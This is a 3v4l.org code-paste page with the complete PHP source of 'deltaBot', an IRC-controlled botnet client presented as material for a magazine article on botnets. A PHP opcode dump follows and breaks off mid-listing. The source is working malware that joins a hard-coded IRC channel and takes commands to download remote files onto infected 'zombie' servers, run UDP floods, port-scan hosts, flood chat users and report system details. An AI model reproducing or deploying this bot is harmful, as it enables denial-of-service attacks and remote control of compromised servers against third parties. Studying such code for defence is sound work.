3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* # # deltaBot v0.1.1 # # A simple PHP IRC bot to illustrate the # inner workings of a traditional botnet. # # By using this script you agree that the # creator is by no means responsible for # your actions and cannot be held liable # for any damage you might inflict to # third-party property. This file has been # created for educational purposes only, # during the writing of an article on # botnets and information security for # a magazine publication in Greece. # # Please leave feedback at: bruteforce.gr/deltabot # # This file is distributed under the terms of GPLv3. # */ //We don't want the bot to stop set_time_limit(0); ini_set('display_errors', 'on'); class deltaBot { //Do you run it locally or on a (zombie) server? var $localhost = TRUE; //Bot's version var $version = '0.1.1'; //IRC server connection details var $config = array( 'server' => 'unix.webchat.my', 'port' => 6667, 'channel' => '#unix', 'name' => 'spaceinvader', 'nick' => 'beware', 'pass' => '', 'maxrand' => 150, ); //Variable to store our IRC connection var $conn; //Array to save the server/client messages using explode() var $ex = array(); //Function that starts the bot and connects to the IRC server function start() { $this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30); if(strlen($this->config['pass']) > 0) { $this->send("PASS config['pass']"); } if(!$this->localhost) { $this->send("USER ".$this->config['nick']." ".$_SERVER['SERVER_ADDR']." ".$_SERVER['SERVER_NAME']." :".$this->config['name']); } else { $this->send("USER deltaBot 127.0.0.1 localhost :".$this->config['name']); } $this->send("NICK ".$this->config['nick'].mt_rand(0,$this->config['maxrand'])); $this->join($this->config['channel']); $this->main(); } //Bot's main function function main() { while(!feof($this->conn)) { //Take the data from the server and remove \r\n $data = trim(fgets($this->conn, 256)); echo $data; flush(); //Break messages into their components $this->ex = explode(' ', $data); //Play ping pong with the IRC server to stay connected if($this->ex[0] == 'PING') { $this->send("PONG ".$this->ex[1]); } //The 4th word of each message corresponds to the given command @$command = $this->ex[3]; //List of available commands, executable by the bot switch($command) { //Join a channel, syntax: !join <#channel1> [#channel2] case ':!join': for($i=4; $i<(count($this->ex)); $i++) { $this->join($this->ex[$i]); } break; //Part from a channel, syntax: !part <#channel1> [#channel2] case ':!part': for($i=4; $i<(count($this->ex)); $i++) { $this->part($this->ex[$i]); } break; //Say something to a user/channel, syntax: !say <user/#channel> <message> case ':!say': $message = ""; for($i=5; $i<=(count($this->ex)); $i++) { $message .= $this->ex[$i]." "; } $this->send("PRIVMSG ".$this->ex[4]." :$message"); break; //Display the bot's version, syntax: !version case ':!version': $this->send("PRIVMSG ".$this->config['channel']." :".$this->version); break; //Display each zombie's uptime, syntax: !uptime case ':!uptime': $uptime = system("uptime"); $this->send("PRIVMSG ".$this->config['channel']." :$uptime"); break; //Display information about each zombie's web server, syntax: !server case ':!server': $software = $_SERVER['SERVER_SOFTWARE']; $docroot = $_SERVER['DOCUMENT_ROOT']; $this->send("PRIVMSG ".$this->config['channel']." :Server: $software, Document Root: $docroot"); break; //Display system information about each zombie, syntax: !server case ':!system': $this->send("PRIVMSG ".$this->config['channel']." :".php_uname()); break; //Download a file to each zombie, syntax: !download <URL> [path] case ':!download': if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the file's URL!]"); break; } if(!isset($this->ex[5])) { $path = '/tmp/file.delta'; } else { $path = $this->ex[5]; } $this->download($this->ex[4], $path); break; //Flood a user/channel, syntax: !tsunami <user/#channel> [rounds] case ':!tsunami': $tsunami = "TSUNAMIIII!! hahah!!"; if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the user/#channel to flood!]"); break; } if(isset($this->ex[5])) { $rounds = $this->ex[5]; } else { $rounds = 20; } $this->send("PRIVMSG ".$this->config['channel']." :[\002Starting Tsunami flood @ ".$this->ex[4]." for $rounds rounds...\002]"); for($i=0; $i<$rounds; $i++) { $this->send("PRIVMSG ".$this->ex[4]." :$tsunami"); sleep(1); } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished Tsunami flood @ ".$this->ex[4]." for $rounds rounds!\002]"); break; //Scan a host/IP for open ports, syntax: !portscan <host/IP> [comma seperated ports] case ':!portscan': if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the host/IP to scan!]"); break; } $host = $this->ex[4]; if(isset($this->ex[5])) { $ports = $this->ex[5]; } else { $ports = '21,22,23,25,53,80,110,443,445,8080'; } $this->portscan($host, $ports); break; //Flood a host/IP using UDP packets, syntax: !udpflood <host/IP> [duration] case ':!udpflood': if(!isset($this->ex[4])) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Please give the host/IP to flood!]"); break; } $host = $this->ex[4]; if(isset($this->ex[5])) { $duration = $this->ex[5]; } else { $duration = 30; //δευτερόλεπτα } $this->udpflood($host, $duration); break; //Restart the bot, syntax: !restart case ':!restart': $this->restart(); exit; //Shutdown the bot, syntax: !shutdown case ':!shutdown': $this->shutdown(); exit; //Display help, syntax: !help case ':!help': $this->help(); break; } } } //Sends messages to the IRC server and displays them in the browser function send($msg) { fputs($this->conn, $msg."\r\n"); echo '<strong>'.$msg.'</strong><br />'; } //Joins a channel function join($channel) { $this->send("JOIN $channel"); } //Parts from a channel function part($channel) { $this->send("PART $channel"); } //Restarts the bot function restart() { echo "<meta http-equiv=\"refresh\" content=\"5\">"; } //Shutdowns the bot function shutdown() { $this->send("QUIT ".$this->config['name']); } //Downloads a file to each zombie function download($url, $path) { if(!$fp = fopen($path, "w")) { $this->send("PRIVMSG ".$this->config['channel']." :[--> You don't have write permissions to $path, please choose another path!]"); } else { if(!$get = file($url)) { $this->send("PRIVMSG ".$this->config['channel']." :[--> Unable to download file, please check the URL!]"); } else { $this->send("PRIVMSG ".$this->config['channel']." :[\002Downloading file from $url to $path ...\002]"); for($i=0; $i<count($get); $i++) { fwrite($fp, $get[$i]); } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished download!\002]"); } fclose($fp); } } //Runs a port scan against a host/IP function portscan($host, $ports) { $port = array(); $port = explode(',',$ports); $this->send("PRIVMSG ".$this->config['channel']." :[\002Starting Port Scan @ ".$host." for ".(count($port))." ports...\002]"); for($i=0; $i<(count($port)); $i++) { $fp = @fsockopen($host, $port[$i], $e, $s, 10); if($fp) { $this->send("PRIVMSG ".$this->config['channel']." :[Port ".$port[$i]." @ ".$host." is OPEN]"); fclose($fp); } else { $this->send("PRIVMSG ".$this->config['channel']." :[Port ".$port[$i]." @ ".$host." is CLOSED]"); } } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished Port Scan @ ".$host." for ".(count($port))." ports!\002]"); } //Executes a UDP flood attack against a host/IP function udpflood($host, $duration) { $packet = ""; for($i=0; $i<256; $i++) { $packet .= chr(mt_rand(0,255)); } $this->send("PRIVMSG ".$this->config['channel']." :[\002Starting UDP flood attack @ $host for $duration seconds...\002]"); $max_time = time() + $duration; while(time() < $max_time) { if($fp = fsockopen('udp://'.$host, mt_rand(0,8080), $e, $s, 5)) { fwrite($fp, $packet); fclose($fp); } } $this->send("PRIVMSG ".$this->config['channel']." :[\002Finished UDP flood attack @ $host !\002]"); } //Displays available bot commands function help() { $this->send("PRIVMSG ".$this->config['channel']." :[\002List of available commands\002]"); $this->send("PRIVMSG ".$this->config['channel']." :[!say, !join, !part, !restart, !shutdown]"); $this->send("PRIVMSG ".$this->config['channel']." :[!download, !tsunami, !portscan !udpflood]"); $this->send("PRIVMSG ".$this->config['channel']." :[!uptime, !server, !system !version !help]"); } } //Create the bot and start it $bot = new deltaBot; $bot->start(); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/03gIM
function name:  (null)
number of ops:  14
compiled vars:  !0 = $bot
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ECHO                                                     '%EF%BB%BF'
   27     1        INIT_FCALL                                               'set_time_limit'
          2        SEND_VAL                                                 0
          3        DO_ICALL                                                 
   28     4        INIT_FCALL                                               'ini_set'
          5        SEND_VAL                                                 'display_errors'
          6        SEND_VAL                                                 'on'
          7        DO_ICALL                                                 
  366     8        NEW                                              $3      'deltaBot'
          9        DO_FCALL                                      0          
         10        ASSIGN                                                   !0, $3
  367    11        INIT_METHOD_CALL                                         !0, 'start'
         12        DO_FCALL                                      0          
  368    13      > RETURN                                                   1

Class deltaBot:
Function start:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 21
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 24, Position 2 = 43
Branch analysis from position: 24
1 jumps found. (Code = 42) Position 1 = 49
Branch analysis from position: 49
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 21
filename:       /in/03gIM
function name:  start
number of ops:  71
compiled vars:  !0 = $e, !1 = $s
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   58     0  E >   INIT_FCALL                                               'fsockopen'
          1        FETCH_OBJ_R                                      ~3      'config'
          2        FETCH_DIM_R                                      ~4      ~3, 'server'
          3        SEND_VAL                                                 ~4
          4        FETCH_OBJ_R                                      ~5      'config'
          5        FETCH_DIM_R                                      ~6      ~5, 'port'
          6        SEND_VAL                                                 ~6
          7        SEND_REF                                                 !0
          8        SEND_REF                                                 !1
          9        SEND_VAL                                                 30
         10        DO_ICALL                                         $7      
         11        ASSIGN_OBJ                                               'conn'
         12        OP_DATA                                                  $7
   59    13        FETCH_OBJ_R                                      ~8      'config'
         14        FETCH_DIM_R                                      ~9      ~8, 'pass'
         15        STRLEN                                           ~10     ~9
         16        IS_SMALLER                                               0, ~10
         17      > JMPZ                                                     ~11, ->21
   61    18    >   INIT_METHOD_CALL                                         'send'
         19        SEND_VAL_EX                                              'PASS+config%5B%27pass%27%5D'
         20        DO_FCALL                                      0          
   63    21    >   FETCH_OBJ_R                                      ~13     'localhost'
         22        BOOL_NOT                                         ~14     ~13
         23      > JMPZ                                                     ~14, ->43
   64    24    >   INIT_METHOD_CALL                                         'send'
         25        FETCH_OBJ_R                                      ~15     'config'
         26        FETCH_DIM_R                                      ~16     ~15, 'nick'
         27        CONCAT                                           ~17     'USER+', ~16
         28        CONCAT                                           ~18     ~17, '+'
         29        FETCH_R                      global              ~19     '_SERVER'
         30        FETCH_DIM_R                                      ~20     ~19, 'SERVER_ADDR'
         31        CONCAT                                           ~21     ~18, ~20
         32        CONCAT                                           ~22     ~21, '+'
         33        FETCH_R                      global              ~23     '_SERVER'
         34        FETCH_DIM_R                                      ~24     ~23, 'SERVER_NAME'
         35        CONCAT                                           ~25     ~22, ~24
         36        CONCAT                                           ~26     ~25, '+%3A'
         37        FETCH_OBJ_R                                      ~27     'config'
         38        FETCH_DIM_R                                      ~28     ~27, 'name'
         39        CONCAT                                           ~29     ~26, ~28
         40        SEND_VAL_EX                                              ~29
         41        DO_FCALL                                      0          
         42      > JMP                                                      ->49
   67    43    >   INIT_METHOD_CALL                                         'send'
         44        FETCH_OBJ_R                                      ~31     'config'
         45        FETCH_DIM_R                                      ~32     ~31, 'name'
         46        CONCAT                                           ~33     'USER+deltaBot+127.0.0.1+localhost+%3A', ~32
         47        SEND_VAL_EX                                              ~33
         48        DO_FCALL                                      0          
   69    49    >   INIT_METHOD_CALL                                         'send'
         50        FETCH_OBJ_R                                      ~35     'config'
         51        FETCH_DIM_R                                      ~36     ~35, 'nick'
         52        CONCAT                                           ~37     'NICK+', ~36
         53        INIT_FCALL                                               'mt_rand'
         54        SEND_VAL                                                 0
         55        FETCH_OBJ_R                                      ~38     'config'
         56        FETCH_DIM_R                                      ~39     ~38, 'maxrand'
         57        SEND_VAL                                                 ~39
         58        DO_ICALL                                         $40     
         59        CONCAT                                           ~41     ~37, $40
         60        SEND_VAL_EX                                              ~41
         61        DO_FCALL                                      0          
   70    62        INIT_METHOD_CALL                                         'join'
         63        CHECK_FUNC_ARG                                           
         64        FETCH_OBJ_FUNC_ARG                               $43     'config'
         65        FETCH_DIM_FUNC_ARG                               $44     $43, 'channel'
         66        SEND_FUNC_ARG                                            $44
         67        DO_FCALL                                      0          
   71    68        INIT_METHOD_CALL                                         'main'
         69        DO_FCALL                                      0          
   72    70      > RETURN                                                   null

End of function start

Function main:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
2 jumps found. (Code = 44) Position 1 = 334, Position 2 = 1
Branch analysis from position: 334
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 1
2 jumps found. (Code = 43) Position 1 = 23, Position 2 = 29
Branch analysis from position: 23
16 jumps found. (Code = 188) Position 1 = 64, Position 2 = 78, Position 3 = 92, Position 4 = 114, Position 5 = 124, Position 6 = 138, Position 7 = 156, Position 8 = 167, Position 9 = 196, Position 10 = 263, Position 11 = 291, Position 12 = 319, Position 13 = 322, Position 14 = 325, Position 15 = 328, Position 16 = 35
Branch analysis from position: 64
1 jumps found. (Code = 42) Position 1 = 73
Branch analysis from position: 73
2 jumps found. (Code = 44) Position 1 = 77, Position 2 = 66
Branch analysis from position: 77
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 66
2 jumps found. (Code = 44) Position 1 = 77, Position 2 = 66
Branch analysis from position: 77
Branch analysis from position: 66
Branch analysis from position: 78
1 jumps found. (Code = 42) Position 1 = 87
Branch analysis from position: 87
2 jumps found. (Code = 44) Position 1 = 91, Position 2 = 80
Branch analysis from position: 91
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 80
2 jumps found. (Code = 44) Position 1 = 91, Position 2 = 80
Branch analysis from position: 91
Branch analysis from position: 80
Branch analysis from position: 92
1 jumps found. (Code = 42) Position 1 = 100
Branch analysis from position: 100
2 jumps found. (Code = 44) Position 1 = 104, Position 2 = 95
Branch analysis from position: 104
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 95
2 jumps found. (Code = 44) Position 1 = 104, Position 2 = 95
Branch analysis from position: 104
Branch analysis from position: 95
Branch analysis from position: 114
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 124
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 138
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 156
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 167
2 jumps found. (Code = 43) Position 1 = 171, Position 2 = 179
Branch analysis from position: 171
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 179
2 jumps found. (Code = 43) Position 1 = 183, Position 2 = 185
Branch analysis from position: 183
1 jumps found. (Code = 42) Position 1 = 188
Branch analysis from position: 188
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 185
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 196
2 jumps found. (Code = 43) Position 1 = 201, Position 2 = 209
Branch analysis from position: 201
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 209
2 jumps found. (Code = 43) Position 1 = 212, Position 2 = 216
Branch analysis from position: 212
1 jumps found. (Code = 42) Position 1 = 217
Branch analysis from position: 217
1 jumps found. (Code = 42) Position 1 = 246
Branch analysis from position: 246
2 jumps found. (Code = 44) Position 1 = 248, Position 2 = 233
Branch analysis from position: 248
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 233
2 jumps found. (Code = 44) Position 1 = 248, Position 2 = 233
Branch analysis from position: 248
Branch analysis from position: 233
Branch analysis from position: 216
1 jumps found. (Code = 42) Position 1 = 246
Branch analysis from position: 246
Branch analysis from position: 263
2 jumps found. (Code = 43) Position 1 = 267, Position 2 = 275
Branch analysis from position: 267
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 275
2 jumps found. (Code = 43) Position 1 = 281, Position 2 = 285
Branch analysis from position: 281
1 jumps found. (Code = 42) Position 1 = 286
Branch analysis from position: 286
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 285
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 291
2 jumps found. (Code = 43) Position 1 = 295, Position 2 = 303
Branch analysis from position: 295
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 303
2 jumps found. (Code = 43) Position 1 = 309, Position 2 = 313
Branch analysis from position: 309
1 jumps found. (Code = 42) Position 1 = 314
Branch analysis from position: 314
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 313
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 319
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 322
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 325
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 328
Branch analysis from position: 35
2 jumps found. (Code = 44) Position 1 = 37, Position 2 = 64
Branch analysis from position: 37
2 jumps found. (Code = 44) Position 1 = 39, Position 2 = 78
Branch analysis from position: 39
2 jumps found. (Code = 44) Position 1 = 41, Position 2 = 92
Branch analysis from position: 41
2 jumps found. (Code = 44) Position 1 = 43, Position 2 = 114
Branch analysis from position: 43
2 jumps found. (Code = 44) Position 1 = 45, Position 2 = 124
Branch analysis from position: 45
2 jumps found. (Code = 44) Position 1 = 47, Position 2 = 138
Branch analysis from position: 47
2 jumps found. (Code = 44) Position 1 = 49, Position 2 = 156
Branch analysis from position: 49
2 jumps found. (Code = 44) Position 1 = 51, Position 2 = 167
Branch analysis from position: 51
2 jumps found. (Code = 44) Position 1 = 53, Position 2 = 196
Branch analysis from position: 53
2 jumps found. (Code = 44) Position 1 = 55, Position 2 = 263
Branch analysis from position: 55
2 jumps found. (Code = 44) Position 1 = 57, Position 2 = 291
Branch analysis from position: 57
2 jumps found. (Code = 44) Position 1 = 59, Position 2 = 319
Branch analysis from position: 59
2 jumps found. (Code = 44) Position 1 = 61, Position 2 = 322
Branch analysis from position: 61
2 jumps found. (Code = 44) Position 1 = 63, Position 2 = 325
Branch analysis from position: 63
1 jumps found. (Code = 42) Position 1 = 328
Branch analysis from position: 328
Branch analysis from position: 325
Branch analysis from position: 322
Branch analysis from position: 319
Branch analysis from position: 291
Branch analysis from position: 263
Branch analysis from position: 196
Branch analysis from position: 167
Branch analysis from position: 156
Branch analysis from position: 138
Branch analysis from position: 124
Branch analysis from position: 114
Branch analysis from position: 92
Branch analysis from position: 78
Branch analysis from position: 64
Branch analysis from position: 29
filename:       /in/03gIM
function name:  main
number of ops:  335
compiled vars:  !0 = $data, !1 = $command, !2 = $i, !3 = $message, !4 = $uptime, !5 = $software, !6 = $docroot, !7 = $path, !8 = $tsunami, !9 = $rounds, !10 = $host, !11 = $ports, !12 = $duration
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   77     0  E > > JMP                                                      ->328
   80     1    >   INIT_FCALL                                               'trim'
          2        INIT_FCALL                                               'fgets'
          3        FETCH_OBJ_R                                      ~13     'conn'
          4        SEND_VAL                                                 ~13
          5        SEND_VAL                                                 256
          6        DO_ICALL                                         $14     
          7        SEND_VAR                                                 $14
          8        DO_ICALL                                         $15     
          9        ASSIGN                                                   !0, $15
   82    10        ECHO                                                     !0
   83    11        INIT_FCALL                                               'flush'
         12        DO_ICALL                                                 
   86    13        INIT_FCALL                                               'explode'
         14        SEND_VAL                                                 '+'
         15        SEND_VAR                                                 !0
         16        DO_ICALL                                         $19     
         17        ASSIGN_OBJ                                               'ex'
         18        OP_DATA                                                  $19
   89    19        FETCH_OBJ_R                                      ~20     'ex'
         20        FETCH_DIM_R                                      ~21     ~20, 0
         21        IS_EQUAL                                                 ~21, 'PING'
         22      > JMPZ                                                     ~22, ->29
   91    23    >   INIT_METHOD_CALL                                         'send'
         24        FETCH_OBJ_R                                      ~23     'ex'
         25        FETCH_DIM_R                                      ~24     ~23, 1
         26        CONCAT                                           ~25     'PONG+', ~24
         27        SEND_VAL_EX                                              ~25
         28        DO_FCALL                                      0          
   95    29    >   BEGIN_SILENCE                                    ~27     
         30        FETCH_OBJ_R                                      ~28     'ex'
         31        FETCH_DIM_R                                      ~29     ~28, 3
         32        ASSIGN                                                   !1, ~29
         33        END_SILENCE                                              ~27
   98    34      > SWITCH_STRING                                            !1, [ '%3A%21join':->64, '%3A%21part':->78, '%3A%21say':->92, '%3A%21version':->114, '%3A%21uptime':->124, '%3A%21server':->138, '%3A%21system':->156, '%3A%21download':->167, '%3A%21tsunami':->196, '%3A%21portscan':->263, '%3A%21udpflood':->291, '%3A%21restart':->319, '%3A%21shutdown':->322, '%3A%21help':->325, ], ->328
  102    35    >   IS_EQUAL                                                 !1, '%3A%21join'
         36      > JMPNZ                                                    ~31, ->64
  110    37    >   IS_EQUAL                                                 !1, '%3A%21part'
         38      > JMPNZ                                                    ~31, ->78
  118    39    >   IS_EQUAL                                                 !1, '%3A%21say'
         40      > JMPNZ                                                    ~31, ->92
  128    41    >   IS_EQUAL                                                 !1, '%3A%21version'
         42      > JMPNZ                                                    ~31, ->114
  133    43    >   IS_EQUAL                                                 !1, '%3A%21uptime'
         44      > JMPNZ                                                    ~31, ->124
  139    45    >   IS_EQUAL                                                 !1, '%3A%21server'
         46      > JMPNZ                                                    ~31, ->138
  146    47    >   IS_EQUAL                                                 !1, '%3A%21system'
         48      > JMPNZ                                                    ~31, ->156
  151    49    >   IS_EQUAL                                                 !1, '%3A%21download'
         50      > JMPNZ                                                    ~31, ->167
  169    51    >   IS_EQUAL                                                 !1, '%3A%21tsunami'
         52      > JMPNZ                                                    ~31, ->196
  194    53    >   IS_EQUAL                                                 !1, '%3A%21portscan'
         54      > JMPNZ                                                    ~31, ->263
  213    55    >   IS_EQUAL                                                 !1, '%3A%21udpflood'
         56      > JMPNZ                                                    ~31, ->291
  232    57    >   IS_EQUAL                                                 !1, '%3A%21restart'
         58      > JMPNZ                                                    ~31, ->319
  237    59    >   IS_EQUAL                                                 !1, '%3A%21shutdown'
         60      > JMPNZ                                                    ~31, ->322
  242    61    >   IS_EQUAL                                                 !1, '%3A%21help'
         62      > JMPNZ                                                    ~31, ->325
         63    > > JMP                                                      ->328
  103    64    >   ASSIGN                                                   !2, 4
         65      > JMP                                                      ->73
  105    66    >   INIT_METHOD_CALL                                         'join'
         67        CHECK_FUNC_ARG                                           
         68        FETCH_OBJ_FUNC_ARG                               $33     'ex'
         69        FETCH_DIM_FUNC_ARG                               $34     $33, !2
         70        SEND_FUNC_ARG                                            $34
         71        DO_FCALL                                      0          
  103    72        PRE_INC                                                  !2
         73    >   FETCH_OBJ_R                                      ~37     'ex'
         74        COUNT                                            ~38     ~37
         75        IS_SMALLER                                               !2, ~38
         76      > JMPNZ                                                    ~39, ->66
  107    77    > > JMP                                                      ->328
  111    78    >   ASSIGN                                                   !2, 4
         79      > JMP                                                      ->87
  113    80    >   INIT_METHOD_CALL                                         'part'
         81        CHECK_FUNC_ARG                                           
         82        FETCH_OBJ_FUNC_ARG                               $41     'ex'
         83        FETCH_DIM_FUNC_ARG                               $42     $41, !2
         84        SEND_FUNC_ARG                                            $42
         85        DO_FCALL                                      0          
  111    86        PRE_INC                                                  !2
         87    >   FETCH_OBJ_R                                      ~45     'ex'
         88        COUNT                                            ~46     ~45
         89        IS_SMALLER                                               !2, ~46
         90      > JMPNZ                                                    ~47, ->80
  115    91    > > JMP                                                      ->328
  119    92    >   ASSIGN                                                   !3, ''
  120    93        ASSIGN                                                   !2, 5
         94      > JMP                                                      ->100
  122    95    >   FETCH_OBJ_R                                      ~50     'ex'
         96        FETCH_DIM_R                                      ~51     ~50, !2
         97        CONCAT                                           ~52     ~51, '+'
         98        ASSIGN_OP                                     8          !3, ~52
  120    99        PRE_INC                                                  !2
        100    >   FETCH_OBJ_R                                      ~55     'ex'
        101        COUNT                                            ~56     ~55
        102        IS_SMALLER_OR_EQUAL                                      !2, ~56
        103      > JMPNZ                                                    ~57, ->95
  124   104    >   INIT_METHOD_CALL                                         'send'
        105        FETCH_OBJ_R                                      ~58     'ex'
        106        FETCH_DIM_R                                      ~59     ~58, 4
        107        CONCAT                                           ~60     'PRIVMSG+', ~59
        108        NOP                                                      
        109        FAST_CONCAT                                      ~61     '+%3A', !3
        110        CONCAT                                           ~62     ~60, ~61
        111        SEND_VAL_EX                                              ~62
        112        DO_FCALL                                      0          
  125   113      > JMP                                                      ->328
  129   114    >   INIT_METHOD_CALL                                         'send'
        115        FETCH_OBJ_R                                      ~64     'config'
        116        FETCH_DIM_R                                      ~65     ~64, 'channel'
        117        CONCAT                                           ~66     'PRIVMSG+', ~65
        118        CONCAT                                           ~67     ~66, '+%3A'
        119        FETCH_OBJ_R                                      ~68     'version'
        120        CONCAT                                           ~69     ~67, ~68
        121        SEND_VAL_EX                                              ~69
        122        DO_FCALL                                      0          
  130   123      > JMP                                                      ->328
  134   124    >   INIT_FCALL                                               'system'
        125        SEND_VAL                                                 'uptime'
        126        DO_ICALL                                         $71     
        127        ASSIGN                                                   !4, $71
  135   128        INIT_METHOD_CALL                                         'send'
        129        FETCH_OBJ_R                                      ~73     'config'
        130        FETCH_DIM_R                                      ~74     ~73, 'channel'
        131        CONCAT                                           ~75     'PRIVMSG+', ~74
        132        NOP                                                      
        133        FAST_CONCAT                                      ~76     '+%3A', !4
        134        CONCAT                                           ~77     ~75, ~76
        135        SEND_VAL_EX                                              ~77
        136        DO_FCALL                                      0          
  136   137      > JMP                                                      ->328
  140   138    >   FETCH_R                      global              ~79     '_SERVER'
        139        FETCH_DIM_R                                      ~80     ~79, 'SERVER_SOFTWARE'
        140        ASSIGN                                                   !5, ~80
  141   141        FETCH_R                      global              ~82     '_SERVER'
        142        FETCH_DIM_R                                      ~83     ~82, 'DOCUMENT_ROOT'
        143        ASSIGN                                                   !6, ~83
  142   144        INIT_METHOD_CALL                                         'send'
        145        FETCH_OBJ_R                                      ~85     'config'
        146        FETCH_DIM_R                                      ~86     ~85, 'channel'
        147        CONCAT                                           ~87     'PRIVMSG+', ~86
        148        ROPE_INIT                                     4  ~89     '+%3AServer%3A+'
        149        ROPE_ADD                                      1  ~89     ~89, !5
        150        ROPE_ADD                                      2  ~89     ~89, '%2C+Document+Root%3A+'
        151        ROPE_END                                      3  ~88     ~89, !6
        152        CONCAT                                           ~91     ~87, ~88
        153        SEND_VAL_EX                                              ~91
        154        DO_FCALL                                      0          
  143   155      > JMP                                                      ->328
  147   156    >   INIT_METHOD_CALL                                         'send'
        157        FETCH_OBJ_R                                      ~93     'config'
        158        FETCH_DIM_R                                      ~94     ~93, 'channel'
        159        CONCAT                                           ~95     'PRIVMSG+', ~94
        160        CONCAT                                           ~96     ~95, '+%3A'
        161        INIT_FCALL                                               'php_uname'
        162        DO_ICALL                                         $97     
        163        CONCAT                                           ~98     ~96, $97
        164        SEND_VAL_EX                                              ~98
        165        DO_FCALL                                      0          
  148   166      > JMP                                                      ->328
  152   167    >   FETCH_OBJ_IS                                     ~100    'ex'
        168        ISSET_ISEMPTY_DIM_OBJ                         0  ~101    ~100, 4
        169        BOOL_NOT                                         ~102    ~101
        170      > JMPZ                                                     ~102, ->179
  154   171    >   INIT_METHOD_CALL                                         'send'
        172        FETCH_OBJ_R                                      ~103    'config'
        173        FETCH_DIM_R                                      ~104    ~103, 'channel'
        174        CONCAT                                           ~105    'PRIVMSG+', ~104
        175        CONCAT                                           ~106    ~105, '+%3A%5B--%3E+Please+give+the+file%27s+URL%21%5D'
        176        SEND_VAL_EX                                              ~106
        177        DO_FCALL                                      0          
  155   178      > JMP                                                      ->328
  157   179    >   FETCH_OBJ_IS                                     ~108    'ex'
        180        ISSET_ISEMPTY_DIM_OBJ                         0  ~109    ~108, 5
        181        BOOL_NOT                                         ~110    ~109
        182      > JMPZ                                                     ~110, ->185
  159   183    >   ASSIGN                                                   !7, '%2Ftmp%2Ffile.delta'
        184      > JMP                                                      ->188
  163   185    >   FETCH_OBJ_R                                      ~112    'ex'
        186        FETCH_DIM_R                                      ~113    ~112, 5
        187        ASSIGN                                                   !7, ~113
  165   188    >   INIT_METHOD_CALL                                         'download'
        189        CHECK_FUNC_ARG                                           
        190        FETCH_

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
154.63 ms | 1428 KiB | 33 Q